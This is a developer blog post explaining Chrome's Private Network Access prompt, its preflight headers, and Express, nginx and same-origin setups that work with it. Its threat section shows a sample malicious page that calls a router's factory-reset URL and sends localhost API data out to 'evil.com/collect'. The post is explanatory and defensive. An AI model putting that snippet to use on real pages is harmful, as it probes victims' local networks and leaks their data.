If you've been browsing the web recently, you've probably noticed a new kind of permission prompt popping up: "This site wants to access devices on your local network." It showed up for me on a random dashboard I was building, and my first thought was — wait, I wrote this app, why is the browser asking me this?
Turns out, this is Chrome's rollout of Private Network Access (PNA), and it's changing how web apps interact with local resources. If you're a developer who builds anything that talks to localhost, IoT devices, printers, or internal APIs, you need to understand this.
What's Actually Happening
Private Network Access is a security specification (formerly known as CORS-RFC1918) that prevents public websites from silently making requests to resources on your private or local network. The browser now classifies all network destinations into three buckets:
- Public — any globally routable IP address
-
Private — RFC 1918 ranges like
10.x.x.x,172.16.x.x–172.31.x.x,192.168.x.x -
Local —
localhost/127.0.0.1/::1
The rule is simple: requests from a less private context to a more private context get blocked unless explicitly allowed. A page served from a public server can't just silently hit 192.168.1.1 anymore.
Why This Exists (And Why It's a Good Thing)
For years, attackers have exploited the trust relationship between your browser and your local network. A malicious website could fire off requests to your router's admin panel, poke at internal company APIs, or scan for IoT devices — all without you knowing.
The classic attack looks something like this:
<!-- Malicious page served from evil.com -->
<img src="http://192.168.1.1/admin/factory_reset" />
<!-- Or something sneakier -->
<script>
// Scan common local ports to fingerprint internal services
fetch('http://localhost:8080/api/health')
.then(r => r.json())
.then(data => {
// Exfiltrate info about what's running locally
navigator.sendBeacon('https://evil.com/collect', JSON.stringify(data));
})
.catch(() => {}); // silently fail, try next port
</script>
DNS rebinding attacks are even nastier — an attacker's domain resolves to their server initially, then switches to 127.0.0.1 after the page loads, bypassing same-origin policy. PNA shuts this down at the network level.
How It Works Under the Hood
When your page tries to make a request from a public context to a private/local address, Chrome now sends a CORS preflight with a special header:
OPTIONS /api/data HTTP/1.1
Host: 192.168.1.50:3000
Origin: https://myapp.example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true
Your local server needs to respond with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.example.com
Access-Control-Allow-Private-Network: true
If the server doesn't include Access-Control-Allow-Private-Network: true in the preflight response, the browser blocks the actual request. No negotiation, no fallback.
Fixing It for Your Dev Environment
This is where most developers first run into PNA — your frontend is served from a deployed domain (or even a local dev server on one port) and it's trying to hit an API on another local port. Here's how to handle it.
Option 1: Add the PNA Headers to Your Server
If you control the local server, add the proper CORS preflight handling. Here's an example with Express:
const express = require('express');
const app = express();
app.use((req, res, next) => {
// Handle the PNA preflight
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
// This is the key header for Private Network Access
res.setHeader('Access-Control-Allow-Private-Network', 'true');
return res.status(200).end();
}
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
next();
});
app.get('/api/data', (req, res) => {
res.json({ status: 'ok' });
});
app.listen(3000);
Option 2: Use a Reverse Proxy
If you don't control the local service (like a printer interface or an IoT device), you can proxy through your own backend. This keeps everything within the same origin and avoids the PNA check entirely.
# nginx.conf — proxy local device through your server
server {
listen 443 ssl;
server_name myapp.example.com;
location /api/local-device/ {
# Forward to the device on the local network
proxy_pass http://192.168.1.50:8080/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Now your frontend hits https://myapp.example.com/api/local-device/status and the proxy handles the local network hop server-side. No browser permission prompt, no PNA preflight.
Option 3: Serve Everything from the Same Private Context
If both your frontend and API are on the local network, serve them from the same origin. Private-to-private requests within the same address space don't trigger PNA checks.
# Serve your frontend from the same local server
# Instead of: frontend on myapp.com hitting localhost:3000
# Do: frontend AND api both on localhost:3000
npx serve ./dist -l 3000
Common Gotchas
Mixed content matters. If your page is served over HTTPS (public), it's extra restricted. A secure public page trying to hit an insecure local endpoint (http://localhost:...) gets blocked even harder. The browser really does not want that combination.
WebSockets are affected too. PNA applies to WebSocket connections. If your app opens a WebSocket to a local device, the same preflight rules apply — though the handshake mechanism differs slightly from standard CORS preflights.
Chrome flags for testing. During development, you can temporarily disable this check to unblock yourself:
chrome://flags/#block-insecure-private-network-requests
Set it to "Disabled" and restart. But don't ship instructions telling users to do this — that defeats the entire security model.
What About Other Browsers?
Chrome is leading this rollout, but the spec is a W3C community effort under the WICG. Firefox and Safari have shown interest but haven't fully implemented the permission prompt yet as of early 2025. Expect this to become standard across all browsers eventually.
Prevention: Design for PNA from the Start
If you're building anything that needs local network access:
- Architect with a proxy layer. Don't assume the browser can directly reach local resources from a public origin. Route through your backend.
-
Add PNA headers to every local service you build. Make
Access-Control-Allow-Private-Network: truepart of your CORS middleware from day one. -
Use HTTPS everywhere, even locally. Tools like
mkcertmake it easy to get trusted local certificates. - Test with PNA enabled. Don't rely on Chrome flags being off. Test the real user experience.
PNA might feel annoying when you first hit it, but it's closing a real class of vulnerabilities that's been open for decades. A few headers and some thoughtful architecture is a small price for keeping your users' local networks safe from drive-by attacks.
Top comments (1)
That's incredibly clever.
Actually makes me think this is still an issue. It could still make calls to a person's router or other systems running on localhost. There are a lot of popular AI apps that run locally on users' machines that are not authenticated.